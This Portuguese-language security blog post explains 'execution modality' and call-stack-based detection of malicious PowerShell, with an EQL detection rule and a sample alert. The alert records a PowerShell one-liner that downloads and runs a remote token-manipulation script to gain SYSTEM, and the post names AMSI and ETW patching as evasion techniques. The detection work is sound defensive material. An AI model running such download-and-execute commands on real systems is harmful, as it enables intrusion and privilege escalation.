John Uhlmann

Modalidades de mau comportamento: Detectando ferramentas, não técnicas

Exploramos o conceito de Modalidade de Execução e como detecções focadas em modalidade podem complementar aquelas focadas em comportamento.

Modalidades de mau comportamento: Detectando ferramentas, não técnicas

O que é Modalidade de Execução?

Jared Atkinson, estrategista-chefe da SpecterOps e escritor prolífico sobre estratégia de segurança, apresentou recentemente o conceito muito útil de Modalidade de Execução para nos ajudar a raciocinar sobre técnicas de malware e como detectá-las de forma robusta. Resumindo, a Modalidade de Execução descreve como um comportamento malicioso é executado, em vez de simplesmente definir o que o comportamento faz.

Por exemplo, o comportamento de interesse pode ser a criação de serviço do Windows, e a modalidade pode ser um utilitário do sistema (como `sc.exe`), um script do PowerShell ou um shellcode que usa chamadas de sistema indiretas para gravar diretamente na configuração do serviço no Registro do Windows.

Atkinson destacou que, se seu objetivo é detectar uma técnica específica, você deve garantir que sua coleção esteja o mais próximo possível da fonte de verdade do sistema operacional e eliminar quaisquer suposições de modalidade.

Estudo de caso: modalidades de criação de serviços

No cenário típico de criação de serviço no sistema operacional Windows, um instalador chama sc.exe create , que faz uma chamada RPC RCreateService para um ponto de extremidade no Gerenciador de Controle de Serviço (SCM, também conhecido como services.exe), que então faz chamadas de sistema para o gerenciador de configuração do modo kernel para atualizar o banco de dados de serviços instalados no registro. Isso é posteriormente liberado no disco e restaurado do disco na inicialização.

Isso significa que a fonte da verdade para um sistema em execução é o registro (embora os hives sejam liberados no disco e possam ser adulterados offline).

Em um cenário de busca de ameaças, poderíamos detectar facilmente linhas de comando sc.exe anômalas, mas uma ferramenta diferente poderia fazer chamadas RPC do Service Control diretamente.

Se estivéssemos processando nossos dados de ameaças rigorosamente, também poderíamos detectar chamadas RPC anômalas do Service Control, mas uma ferramenta diferente poderia fazer chamadas de sistema (in)diretamente ou usar outro serviço, como o Remote Registry, para atualizar o banco de dados de serviços indiretamente.

Em outras palavras, algumas dessas modalidades de execução ignoram a telemetria tradicional, como os logs de eventos do Windows.

Então, como monitoramos alterações no gerenciador de configuração? Não podemos monitorar chamadas de sistema de forma robusta diretamente devido à proteção de patches do kernel, mas a Microsoft forneceu retornos de chamada do gerenciador de configuração como uma alternativa. É aqui que a Elastic concentrou nossos esforços de detecção de criação de serviços - o mais próximo possível da fonte da verdade do sistema operacional.

A desvantagem dessa visibilidade de baixo nível, no entanto, é uma potencial redução no contexto. Por exemplo, devido a decisões arquitetônicas do Windows, os fornecedores de segurança não sabem qual cliente RPC está solicitando a criação de uma chave de registro no banco de dados de serviços. A Microsoft só oferece suporte à consulta de detalhes do cliente RPC de um serviço RPC em modo de usuário.

A partir do Windows 10 21H1, a Microsoft começou a incluir detalhes do cliente RPC no log de eventos de criação de serviço. Este evento, embora menos robusto, às vezes fornece contexto adicional que pode ajudar a determinar a origem de um comportamento anômalo.

Devido ao seu histórico de abuso, algumas modalidades foram estendidas com registro extra - um exemplo importante é o PowerShell. Isso permite que certas técnicas sejam detectadas com alta precisão, mas somente quando executadas no PowerShell. É importante não confundir a cobertura de detecção de uma técnica no PowerShell com a cobertura dessa técnica em geral. Essa nuance é importante ao estimar a cobertura do MITRE ATT&CK . Como as equipes vermelhas demonstram rotineiramente, ter 100% de cobertura técnica — mas apenas para o PowerShell — é quase 0% de cobertura no mundo real.

Summiting the Pyramid (STP) é uma metodologia de pontuação analítica relacionada do MITRE. Ele chega a uma conclusão semelhante sobre a fragilidade das detecções baseadas em blocos de script do PowerShell e atribui a essas regras uma pontuação de robustez baixa.

Fontes de telemetria de alto nível, como registro de criação de processo e registro do PowerShell, são extremamente frágeis na detecção da maioria das técnicas, pois abrangem muito poucas modalidades. Na melhor das hipóteses, eles ajudam a detectar os abusos mais flagrantes do estilo de vida da terra (LotL).

Atkinson fez a seguinte observação astuta no exemplo usado para motivar a discussão:

Um ponto importante é que nosso objetivo de ordem superior na detecção é baseado no comportamento, não na modalidade. Portanto, devemos estar interessados em detectar a Enumeração de Sessão (focada no comportamento), não a Enumeração de Sessão no PowerShell (focada na modalidade).

Às vezes, isso é apenas metade da história. Às vezes, detectar que a ferramenta em si está fora de contexto é mais eficiente do que detectar a técnica. Às vezes, a própria modalidade de execução é anômala.

Uma alternativa para detectar uma técnica conhecida é detectar uma modalidade que se comporta mal.

Pilhas de chamadas divulgam a modalidade

Um dos pontos fortes da Elastic é a inclusão de pilhas de chamadas na maioria dos nossos eventos. Esse nível de detalhes sobre a procedência das chamadas ajuda muito a determinar se uma determinada atividade é maliciosa ou benigna. Os resumos da pilha de chamadas geralmente são suficientes para divulgar a modalidade de execução - os tempos de execução do PowerShell, .NET, RPC, WMI, VBA, Lua, Python e Java deixam rastros na pilha de chamadas.

Algumas de nossas primeiras regras baseadas em pilha de chamadas eram para macros do VBA do Office (vbe7.dll) gerando processos filho ou descartando arquivos, e para memória executável sem backup carregando o tempo de execução do .NET. Em ambos os exemplos, a técnica em si foi amplamente benigna; foi a modalidade do comportamento que foi predominantemente anômala.

Então podemos mudar a abordagem típica de detecção focada no comportamento para uma focada na modalidade? Por exemplo, podemos detectar apenas o uso de qualquer chamada de API de dupla finalidade originada do PowerShell?

Usando pilhas de chamadas, o Elastic consegue diferenciar entre as chamadas de API que se originam de scripts do PowerShell e aquelas que vêm dos tempos de execução do PowerShell ou do .NET.

Usando o Threat-Intelligence ETW como uma aproximação para uma API de dupla finalidade, nossa regra para “Chamada de API suspeita de um script do PowerShell” foi bastante eficaz.

api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and

/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and

/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and

/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
  process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and

/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and

/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
  process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
     process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))

Embora não precisemos usar o frágil registro AMSI do PowerShell para detecção, ainda podemos fornecer esses detalhes no evento como contexto, pois isso auxilia na triagem. Essa abordagem baseada em modalidade detecta até mesmo técnicas comuns de evasão de defesa do PowerShell, como:

  • desconexão de ntdll
  • Aplicação de patches AMSI
  • patch ETW em modo de usuário
{
 "event": {
  "provider": "Microsoft-Windows-Threat-Intelligence",
  "created": "2025-01-29T18:27:09.4386902Z",
  "kind": "event",
  "category": "api",
  "type": "change",
  "outcome": "unknown"
 },
 "message": "Endpoint API event - VirtualProtect",
 "process": {
  "parent": {
   "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "name": "powershell.exe",
  "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "code_signature": {
   "trusted": true,
   "subject_name": "Microsoft Windows",
   "exists": true,
   "status": "trusted"
  },
  "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
  "pid": 21908,
  "Ext": {
   "api": {
    "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
    "metadata": {
     "target_address_path": "c:\\windows\\system32\\kernel32.dll",
     "amsi_logs": [
      {
       "entries": [
        "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
        "{[Char] $_}",
        "{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...<truncated>",
        "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
       ],
       "type": "PowerShell"
      }
     ],
     "target_address_name": "kernel32.dll!FatalExit",
     "amsi_filenames": [
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
     ]
    },
    "behaviors": [
     "sensitive_api",
     "hollow_image",
     "unbacked_rwx"
    ],
    "name": "VirtualProtect",
    "parameters": {
     "address": 140727652261072,
     "size": 33,
     "protection_old": "R-X",
     "protection": "RWX"
    }
   },
   "code_signature": [
    {
     "trusted": true,
     "subject_name": "Microsoft Windows",
     "exists": true,
     "status": "trusted"
    }
   ],
   "token": {
    "integrity_level_name": "high"
   }
  },
  "thread": {
   "Ext": {
    "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
    "call_stack_contains_unbacked": true,
    "call_stack": [
     {
      "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
     },
     {
      "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
     },
     {
      "symbol_info": "Unbacked+0x3b5c",
      "protection_provenance": "clr.dll",
      "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
      "protection": "RWX",
      "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
     }
    ],
    "call_stack_final_user_module": {
     "code_signature": [
      {
       "trusted": true,
       "subject_name": "Microsoft Corporation",
       "exists": true,
       "status": "trusted"
      }
     ],
     "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
     "name": "Unbacked",
     "protection_provenance": "clr.dll",
     "protection": "RWX",
     "hash": {
      "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
     }
    }
   },
   "id": 17260
  }
 },
 "user": {
  "id": "S-1-5-21-47396387-2833971351-1621354421-500"
 }
}

Avaliação de robustez

Usando a metodologia de pontuação analítica Summiting the Pyramid, podemos comparar nossa regra de detecção baseada na modalidade do PowerShell com o PowerShell tradicional

Aplicação (A)Modo de usuário (U)Modo kernel (K)
Núcleo para (Sub) Técnica (5)[melhor] Detecções de modalidade PowerShell baseadas em Kernel ETW
Núcleo para Parte da (Sub-)Técnica (4)
Núcleo para ferramenta pré-existente (3)
Núcleo para a ferramenta trazida pelo adversário (2)Detecções de conteúdo do PowerShell baseadas em AMSI e ScriptBlock
Efémero (1)[ pior ]

Pontuação analítica do PowerShell usando o Summiting the Pyramid

Conforme observado anteriormente, a maioria das detecções do PowerShell recebe uma pontuação de robustez baixa de 2A usando a escala STP. Isso contrasta fortemente com nossa regra de modalidade de mau comportamento do PowerShell , que recebe a maior pontuação possível de 5K (quando a telemetria de kernel apropriada está disponível na Microsoft).

Uma ressalva é que uma pontuação analítica de STP ainda não inclui nenhuma medida para os custos de configuração e manutenção de uma regra. Isso poderia ser potencialmente aproximado pelo tamanho da lista de softwares de falsos positivos conhecidos para uma determinada regra - embora a maioria dos conjuntos de regras abertas normalmente não inclua essas informações. Nós fazemos isso e, no caso da nossa regra, os falsos positivos observados até o momento foram extremamente administráveis.

Mas as pilhas de chamadas podem ser falsificadas?

Sim - e ligeiramente não. Nossas pilhas de chamadas são todas coletadas em linha no kernel, mas a pilha de chamadas do modo de usuário em si reside na memória do modo de usuário que o malware pode controlar. Isso significa que, se o malware tiver alcançado uma execução arbitrária, ele poderá controlar os quadros de pilha que vemos.

Claro, chamadas de API de dupla finalidade de memória privada são suspeitas, mas às vezes tentar esconder sua memória privada é ainda mais suspeito. Isso pode assumir a forma de:

O controle da pilha de chamadas por si só pode não ser suficiente. Para realmente ignorar algumas de nossas detecções de pilha de chamadas, um invasor deve criar uma pilha de chamadas que se misture totalmente com a atividade normal. Em alguns ambientes, isso pode ser estabelecido por equipes de segurança com alta precisão, dificultando que os invasores não sejam detectados. Com base em nossa pesquisa interna e com a assistência dos desenvolvedores de ferramentas da equipe vermelha, também estamos continuamente aprimorando nossas detecções prontas para uso.

Por fim, em CPUs modernas também há vários mecanismos de rastreamento de execução que podem ser usados para detectar falsificação de pilha - como Intel LBR, Intel BTS, Intel AET, Intel IPT, x64 CET e x64 Architectural LBR. O Elastic já aproveita alguns desses recursos de hardware. Sugerimos à Microsoft que eles também podem querer fazer isso em outros cenários fora da proteção contra exploração, e estamos investigando melhorias adicionais por conta própria. Fique atento.

Conclusão

A Modalidade de Execução é uma nova lente através da qual podemos tentar entender o trabalho dos invasores.

Contudo, detectar técnicas específicas para modalidades individuais não é uma abordagem econômica: há simplesmente muitas técnicas e muitas modalidades. Em vez disso, devemos concentrar nossas detecções técnicas o mais próximo possível da fonte da verdade do sistema operacional; tomando cuidado para não perder o contexto necessário da atividade ou introduzir falsos positivos incontroláveis. É por isso que a Elastic considera o Kernel ETW superior ao hooking no modo de usuário ntdll - ele está mais próximo da fonte da verdade, permitindo detecções mais robustas.

Para abordagens de detecção baseadas em modalidade, o valor se torna aparente quando definimos como base toda a telemetria de baixo nível esperada para uma determinada modalidade - e acionamos quaisquer desvios.

Historicamente, os invasores puderam escolher a modalidade por conveniência. É mais econômico escrever ferramentas em C# ou PowerShell do que em C ou assembly. Se pudermos controlar a modalidade, teremos imposto um custo.

Compartilhe este artigo